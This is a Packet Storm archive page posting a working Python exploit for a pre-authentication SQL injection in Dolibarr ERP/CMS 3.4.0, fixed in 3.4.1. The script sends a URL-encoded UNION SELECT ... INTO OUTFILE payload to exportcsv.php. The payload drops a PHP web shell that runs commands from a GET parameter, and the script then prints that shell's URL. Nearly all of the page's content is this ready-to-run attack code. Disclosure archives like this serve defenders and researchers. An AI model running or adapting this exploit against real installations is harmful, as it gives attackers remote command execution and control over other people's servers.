what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Dolibarr ERP/CMS 3.4.0 SQL Injection

Dolibarr ERP/CMS 3.4.0 SQL Injection
Posted Oct 16, 2013
Authored by drone

Dolibarr ERP/CMS version 3.4.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 17558383b563f3fc59b866cd4454a1c3f1b147cd861e3918baa96316db448057

Dolibarr ERP/CMS 3.4.0 SQL Injection

Change Mirror Download
# Exploit Title: Dolibarr 3.4.0 SQLi
# Date: 10/7/2013
# Exploit author: drone (@dronesec)
# More information: https://forelsec.blogspot.com/2013/10/dolibarr-340-multiple-vulnerabilities.html
# Vendor homepage: https://www.dolibarr.org/
# Software link:
# Version: 3.4.0
# Fixed in: 3.4.1
# Tested on: Ubuntu 12.04 (apparmor disabled)

import urllib2
import string
import random
from argparse import ArgumentParser

""" Preauth web shell via SQL injection
Dolibarr 3.4.0
"""

def run(options):
""" run exploit
"""
print '[!] Dropping web shell on %s...' % options.ip
shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))
sqli = 'https://{0}{1}/htdocs/opensurvey/public/exportcsv.php?sondage='\
.format(options.ip, options.rootp)

# ' UNION SELECT '<?php system($_GET['cmd'])?>,2,3,[..]13 INTO OUTFILE 'yourshell';-- -
exploit = '\'%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\''\
',2,3,4,5,6,7,8,9,10,11,12,13%20INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'\
.format(options.path, shell)

try:
urllib2.urlopen(sqli + exploit)
print '[!] Shell dropped. https://%s%s/documents/%s.php?cmd=ls' % \
(options.ip, options.rootp, shell)
except Exception, e:
print '[-] %s' % e

def parse():
""" Parse cli
"""
parser = ArgumentParser()
parser.add_argument('-i', help='Server address', action='store', dest='ip', required=True)
parser.add_argument('-p', help='Path to Dolibarr install (/dolibarr)', action='store',
default='/dolibarr', dest='rootp')
parser.add_argument('-w', help='Path to drop shell (/var/www/dolibarr/documents)',
action='store', default='/var/www/dolibarr/documents', dest='path')

options = parser.parse_args()
options.path = options.path if options.path[-1] != '/' else options.path[:-1]
options.rootp = options.rootp if options.path[-1] != '/' else options.path[:-1]
return options

if __name__ == "__main__":
run(parse())

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close